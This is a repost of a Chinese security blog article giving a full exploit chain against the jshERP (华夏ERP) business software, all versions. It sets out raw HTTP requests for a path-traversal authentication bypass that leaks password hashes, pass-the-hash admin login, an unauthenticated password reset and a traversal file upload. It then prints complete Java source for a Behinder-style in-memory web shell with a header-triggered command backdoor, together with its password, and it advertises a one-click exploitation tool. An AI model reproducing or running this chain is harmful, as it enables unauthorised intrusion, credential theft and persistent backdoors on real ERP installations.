华夏ERP全版本未授权RCE及内存马注入

admin 2024年9月28日11:25:55评论18 views字数 6931阅读23分6秒阅读模式
1前言

华夏ERP全版本未授权RCE及内存马注入。本文来自《实战攻防》开源应用渗透利用篇。作者:xiuxian

实战攻防&&实战渗透强势来袭

2权限绕过

目前最新版V3.3

华夏ERP全版本未授权RCE及内存马注入

GET/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList HTTP/1.1

通过getAllList读取用户名,密码MD5值。

华夏ERP全版本未授权RCE及内存马注入

Hash登录
使用读取得密码MD5值登录超级管理员后台。
POST /jshERP-boot/user/login HTTP/1.1Host: IPContent-Length: 67Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Content-Type: application/json;charset=UTF-8Origin: http://172.20.10.3:3000Referer: http://172.20.10.3:3000/user/loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1724134392; HMACCOUNT=4FC1696FCCBA0C17; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1724138837Connection: close{"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}

华夏ERP全版本未授权RCE及内存马注入

华夏ERP全版本未授权RCE及内存马注入

权限绕过重置用户密码

/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/resetPwd{"id":63}

华夏ERP全版本未授权RCE及内存马注入

3后台利用

超级管理员用户登陆后使用uploadPluginConfigFile接口创建../plugin目录,此目录创建后可部署插件。

POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1Host: 172.20.10.3:3000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=---------------------------64343665641219398361207370473X-Access-Token: 90777cf909864636a458b05de1eab2a9_0Content-Length: 247-----------------------------64343665641219398361207370473Content-Disposition: form-data; name="configFile"; filename="../plugins/success.txt"Content-Type: text/plainsuccess-----------------------------64343665641219398361207370473--

华夏ERP全版本未授权RCE及内存马注入

华夏ERP全版本未授权RCE及内存马注入

后台上传插件

华夏ERP全版本未授权RCE及内存马注入

编写springboot-plugin-framework-parent插件。

https://gitee.com/xiongyi01/springboot-plugin-framework-parent

华夏ERP全版本未授权RCE及内存马注入

内存马注入利用

编写冰蝎监听器,部署插件注入内存马。

package ysoserial.payloads.templates;import com.sun.jmx.mbeanserver.NamedObject;import com.sun.jmx.mbeanserver.Repository;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Request;import org.apache.catalina.connector.RequestFacade;import org.apache.catalina.connector.Response;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.modeler.Registry;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.management.DynamicMBean;import javax.management.MBeanServer;import javax.management.ObjectName;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import javax.servlet.http.HttpSession;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Scanner;import java.util.Set;public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {    static {        try {            MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");            field.setAccessible(true);            Object obj = field.get(mbeanServer);            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");            field.setAccessible(true);            Repository repository = (Repository) field.get(obj);            Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);            if (objectSet.size() == 0) {                // springboot的jmx中为Tomcat而非Catalina                objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);            }            for (NamedObject namedObject : objectSet) {                DynamicMBean dynamicMBean = namedObject.getObject();                field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");                field.setAccessible(true);                obj = field.get(dynamicMBean);                field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");                field.setAccessible(true);                StandardContext standardContext = (StandardContext) field.get(obj);                TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();                standardContext.addApplicationEventListener(listener);            }        } catch (Exception e) {//            e.printStackTrace();        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }    @Override    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {    }    @Override    public void requestInitialized(ServletRequestEvent servletRequestEvent) {// Listener马没有包装类问题        try {            RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();            Field f = requestFacade.getClass().getDeclaredField("request");            f.setAccessible(true);            Request request = (Request) f.get(requestFacade);            Response response = request.getResponse();            // 入口            if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {                // cmdshell                if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {                    String cmd = request.getHeader("cmd");                    if (cmd != null && !cmd.isEmpty()) {                        String[] cmds = null;                        if (System.getProperty("os.name").toLowerCase().contains("win")) {                            cmds = new String[]{"cmd", "/c", cmd};                        } else {                            cmds = new String[]{"/bin/bash", "-c", cmd};                        }                        String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\A").next();                        response.resetBuffer();                        response.getWriter().println(result);                        response.flushBuffer();                        response.finishResponse();                    }                } else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {                    if (request.getMethod().equals("POST")) {                        // 创建pageContext                        HashMap pageContext = new HashMap();                        // lastRequest的session是没有被包装的session!!                        HttpSession session = request.getSession();                        pageContext.put("request", request);                        pageContext.put("response", response);                        pageContext.put("session", session);                        // 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串                        String payload = request.getReader().readLine();//                        System.out.println(payload);                        // 冰蝎逻辑                        String k = "e45e329feb5d925b"; // rebeyond                        session.putValue("u", k);                        Cipher c = Cipher.getInstance("AES");                        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));                        Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);                        method.setAccessible(true);                        byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));                        Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);                        evilclass.newInstance().equals(pageContext);                    }                } else {                    response.resetBuffer();                    response.getWriter().println("error");                    response.flushBuffer();                    response.finishResponse();                }            }        } catch (Exception e) {//            e.printStackTrace();        }    }}

插件启动,new一个冰蝎监听马。

华夏ERP全版本未授权RCE及内存马注入

上传插件连接内存马

密码:rebeyondReferer: https://www.google.com/x-client-data: rebeyond

华夏ERP全版本未授权RCE及内存马注入

华夏ERP全版本未授权RCE及内存马注入

华夏ERP漏洞利用一键化工具-实战攻防课程内部专版,报名课程免费获取

华夏ERP全版本未授权RCE及内存马注入

华夏ERP全版本未授权RCE及内存马注入


原文始发于微信公众号(渗透安全团队):华夏ERP全版本未授权RCE及内存马注入 | 干货

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日11:25:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   华夏ERP全版本未授权RCE及内存马注入https://cn-sec.com/archives/3100792.html

发表评论

匿名网友 填写信息